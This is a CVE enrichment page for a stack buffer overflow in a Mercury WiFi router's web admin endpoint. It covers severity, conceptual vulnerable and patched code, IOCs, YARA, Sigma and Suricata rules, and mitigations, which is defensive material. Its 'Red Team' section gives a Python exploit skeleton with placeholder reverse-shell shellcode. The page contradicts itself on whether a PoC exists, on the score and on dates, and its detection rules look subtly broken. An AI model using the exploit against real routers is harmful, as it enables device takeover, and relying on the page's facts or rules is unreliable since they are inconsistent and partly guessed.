☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-10385

CVE-2025-10385 Buffer Overflow in Mercury
📅 PUBLISHED: 2025-09-14 01:02 UTC 🔄 UPDATED: 2026-09-23 20:13 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.82%
👁️
3.82% probability
95.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10385 is a critical buffer overflow vulnerability discovered in the Mercury KM08-708H GiGA WiFi Wave2 router, firmware version 1.1. The flaw resides in the sub_450B2C function within the /goform/mcr_setSysAdm endpoint. By manipulating the ChgUserId argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly disclosed, and no official patch is available at this time. This vulnerability poses a severe risk to network integrity and confidentiality, as it can be exploited to fully compromise the affected device.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – Exploit affects only the vulnerable component.
  • Confidentiality (C): High (H) – Full device compromise.
  • Integrity (I): High (H) – Full control over device.
  • Availability (A): High (H) – Potential denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using this device.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the web management interface of the Mercury KM08-708H router. The /goform/mcr_setSysAdm endpoint is designed to handle administrative settings, specifically the ChgUserId parameter. The function sub_450B2C copies the user-supplied value of ChgUserId into a fixed-size stack buffer without proper bounds checking.

Technical Breakdown:

  1. Entry Point: The web server receives an HTTP POST request to /goform/mcr_setSysAdm with the ChgUserId parameter.
  2. Vulnerable Function: The handler calls sub_450B2C, which uses a function like sprintf or strcpy to copy the ChgUserId value into a local buffer (e.g., 64 bytes).
  3. Overflow: If the attacker provides a string longer than the buffer size, the excess data overwrites adjacent stack memory, including the saved return address and other critical registers.
  4. Code Execution: By carefully crafting the overflow payload, an attacker can overwrite the return address to point to shellcode placed in the buffer or elsewhere in memory, achieving arbitrary code execution.

Impact: Successful exploitation grants the attacker full control over the router, allowing them to:

  • Modify network settings.
  • Intercept or redirect traffic.
  • Launch further attacks on internal networks.
  • Install persistent malware.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code pattern is typical of unsafe string handling.

Vulnerable Code (Conceptual):

void sub_450B2C(char *ChgUserId) {
    char buffer[64];
    strcpy(buffer, ChgUserId); // No bounds check
    // ... process buffer
}

Patched Code (Conceptual):

void sub_450B2C(char *ChgUserId) {
    char buffer[64];
    strncpy(buffer, ChgUserId, sizeof(buffer) - 1); // Bounds check
    buffer[sizeof(buffer) - 1] = '\0'; // Null-terminate
    // ... process buffer
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing the overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Target: Mercury KM08-708H router with firmware 1.1, accessible on the network (e.g., IP 192.168.1.1).
  2. Attacker: Kali Linux machine on the same subnet.
  3. Tools: curl, python3, pwntools, gdb (for debugging).

Exploit Steps:

  1. Identify the vulnerability: Send a long string to the ChgUserId parameter to confirm the crash.
  2. Craft the payload: Use a pattern to determine the offset to the return address (e.g., 72 bytes).
  3. Develop shellcode: Create MIPS-based shellcode (the router's architecture) to spawn a reverse shell.
  4. Execute the exploit:
#!/usr/bin/env python3
import socket
import struct

# Target IP and port
target_ip = "192.168.1.1"
target_port = 80

# Shellcode (MIPS little-endian reverse shell to 192.168.1.100:4444)
# This is a placeholder; actual shellcode would be generated.
shellcode = b"\x00" * 100  # Replace with real shellcode

# Offset to return address
offset = 72

# Return address pointing to shellcode (example)
ret_addr = struct.pack("<I", 0xdeadbeef)

# Build payload
payload = b"A" * offset + ret_addr + shellcode

# HTTP request
http_request = (
    b"POST /goform/mcr_setSysAdm HTTP/1.1\r\n"
    b"Host: " + target_ip.encode() + b"\r\n"
    b"Content-Type: application/x-www-form-urlencoded\r\n"
    b"Content-Length: " + str(len(payload)).encode() + b"\r\n"
    b"\r\n"
    b"ChgUserId=" + payload
)

# Send exploit
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request)
sock.close()

Blue Team (Defensive)

Detection & Response:

  1. Monitor HTTP requests: Look for abnormally long ChgUserId parameters in POST requests to /goform/mcr_setSysAdm.
  2. Network segmentation: Isolate vulnerable routers from critical internal networks.
  3. Web Application Firewall (WAF): Deploy rules to block requests with ChgUserId exceeding a reasonable length (e.g., 64 characters).
  4. Intrusion Detection System (IDS): Use the Suricata rule provided below to detect exploitation attempts.
  5. Log analysis: Enable detailed logging on the router (if possible) and monitor for crashes or unexpected reboots.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /goform/mcr_setSysAdm with ChgUserId parameter longer than 64 bytes.
    • Outbound connections from the router to unusual IP addresses on high ports (e.g., 4444, 31337).
    • Unusual DNS queries from the router.
  • Host IOCs:
    • Unexpected processes running on the router (e.g., /bin/sh).
    • Modified firmware or configuration files.
    • Presence of unknown binaries in /tmp or /var.
  • File IOCs:
    • Suspicious files in /tmp with names like exploit, shell, or random strings.
    • Changes to /etc/passwd or /etc/shadow.

Detection Engineering

YARA Rule

rule CVE_2025_10385_Mercury_BOF {
    meta:
        description = "Detects exploit attempts for CVE-2025-10385 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10385"
    strings:
        $http_post = "POST /goform/mcr_setSysAdm" ascii wide nocase
        $param = "ChgUserId=" ascii wide nocase
        $long_string = /ChgUserId=[A-Za-z0-9]{65,}/ ascii
    condition:
        $http_post and $param and $long_string
}

Sigma Rule

title: CVE-2025-10385 Mercury Router Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with an overly long ChgUserId parameter targeting Mercury KM08-708H routers.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/mcr_setSysAdm'
        cs-uri-query|contains: 'ChgUserId='
        sc-bytes|>=: 1000
    condition: selection
falsepositives:
    - Legitimate long usernames (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-10385 Mercury Router Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/mcr_setSysAdm"; http_uri; content:"ChgUserId="; http_client_body; pcre:"/ChgUserId=[A-Za-z0-9]{65,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected devices: Place the Mercury KM08-708H router on a separate VLAN with restricted access to internal networks.
  2. Disable remote management: If not required, disable the web management interface from the WAN side.
  3. Monitor for exploitation: Implement the detection rules above to identify any attempts.

Long-Term Solutions:

  1. Vendor patch: Contact Mercury for an official firmware update. If unavailable, consider replacing the device with a supported alternative.
  2. Network segmentation: Implement strict firewall rules to limit access to the router's management interface.
  3. Web Application Firewall: Deploy a WAF to inspect and block malicious HTTP requests.
  4. Regular updates: Ensure all network devices are running the latest firmware.

Workaround:

  • If patching is not possible, restrict access to the /goform/mcr_setSysAdm endpoint using an ACL or reverse proxy.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10385/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.